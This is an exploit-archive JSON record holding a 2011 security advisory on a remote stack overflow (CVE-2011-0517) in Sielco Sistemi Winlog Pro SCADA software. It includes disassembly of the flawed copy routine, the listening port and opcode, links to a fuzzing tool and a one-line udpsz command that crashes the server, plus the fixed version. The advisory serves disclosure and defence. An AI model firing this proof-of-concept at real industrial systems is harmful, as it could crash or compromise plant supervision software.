{"exploit":{"id":"EDB-15992","name":"Sielco Sistemi Winlog 2.07.00 - Stack Overflow","description":"Sielco Sistemi Winlog 2.07.00 - Stack Overflow","cves":["CVE-2011-0517"],"author":"Luigi Auriemma","published":"2011-01-14","platform":"windows","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/15992","path":"exploits/windows/dos/15992.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-15992.txt","vulnerabilities":[{"id":"CVE-2011-0517","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in Sielco Sistemi Winlog Pro 2.07.00 and earlier, when Run TCP/IP server is enabled, allows remote attackers to cause a denial of service (crash) and execute arbitrary code via a crafted 0x02 opcode to TCP port 46823.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-0517","cvss":{"version":"2.0","baseScore":9.3,"severity":"high","vectorString":"AV:N/AC:M/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-0517"},"updatedAt":"2024-08-06T21:58:25.667Z","retrievedAt":"2026-11-26T19:09:03.032Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-15992.png?v=2","url":"https://exploitbin.com/exploits/EDB-15992","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-15992/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-15992/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Source: http://aluigi.org/adv/winlog_1-adv.txt\n\n#######################################################################\n\n                             Luigi Auriemma\n\nApplication:  Sielco Sistemi Winlog\n              http://www.sielcosistemi.com/en/products/winlog_scada_hmi/\nVersions:     <= 2.07.00\nPlatforms:    Windows\nBug:          stack overflow\nExploitation: remote\nDate:         13 Jan 2011\nAuthor:       Luigi Auriemma\n              e-mail: aluigi@autistici.org\n              web:    aluigi.org\n\n\n#######################################################################\n\n\n1) Introduction\n2) Bug\n3) The Code\n4) Fix\n\n\n#######################################################################\n\n===============\n1) Introduction\n===============\n\n\nFrom vendor's website:\n\"Simple, flexible and economical, Winlog Pro is a SCADA/HMI software\npackage for the supervision of industrial and civil plants.\"\n\n\n#######################################################################\n\n======\n2) Bug\n======\n\n\nThis SCADA software can act as a TCP/IP server by enabling the specific\n\"Run TCP/IP server\" option available in the\n\"Configuration->Options->TCP/IP\" section of the project we want to run\nand Runtime.exe will listen on the TCP port 46823.\n\nThe opcode 0x02 of the protocol is used for the handling of some\nstrings received by the client and the calling of one of the\n_TCPIP_WriteNumValueFP, _TCPIP_WriteDigValueFP or _TCPIP_WriteStrValueFP\nfunctions depending by the type of data.\n\nThey use all the same function starting from offset 00446795 for the\nparsing of the data and it's vulnerable to a stack overflow while\ncopying the input data in a temporary buffer of about 60 bytes:\n\n  00446795  /$  55            PUSH EBP\n  00446796  |.  8BEC          MOV EBP,ESP\n  00446798  |.  83C4 C0       ADD ESP,-40\n  0044679B  |.  53            PUSH EBX\n  0044679C  |.  56            PUSH ESI\n  0044679D  |.  57            PUSH EDI\n  0044679E  |.  8B45 0C       MOV EAX,DWORD PTR SS:[EBP+C]\n  004467A1  |.  8B5D 08       MOV EBX,DWORD PTR SS:[EBP+8]\n  004467A4  |.  8BF8          MOV EDI,EAX\n  004467A6  |.  33C0          XOR EAX,EAX\n  004467A8  |.  56            PUSH ESI\n  004467A9  |.  83C9 FF       OR ECX,FFFFFFFF\n  004467AC  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]                    ; strlen\n  004467AE  |.  F7D1          NOT ECX\n  004467B0  |.  2BF9          SUB EDI,ECX\n  004467B2  |.  8D75 C0       LEA ESI,DWORD PTR SS:[EBP-40]\n  004467B5  |.  87F7          XCHG EDI,ESI\n  004467B7  |.  8BD1          MOV EDX,ECX\n  004467B9  |.  8BC7          MOV EAX,EDI\n  004467BB  |.  C1E9 02       SHR ECX,2\n  004467BE  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]  ; memcpy\n\n\n#######################################################################\n\n===========\n3) The Code\n===========\n\n\nhttp://aluigi.org/testz/udpsz.zip\nhttps://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15992.zip (udpsz.zip)\n\n  udpsz -T -b a -C 020101 SERVER 46823 1000\n\n\n#######################################################################\n\n======\n4) Fix\n======\n\n\nVersion 2.07.01.\n\n\n#######################################################################","sha256":"30f73e5d4f392abb5393053226334a09682da336d8034d4b30f9aa373efd3900","bytes":3168,"fetchedAt":"2026-11-26T19:09:01.184Z","encoding":"utf-8 (display only; download retains original bytes)"}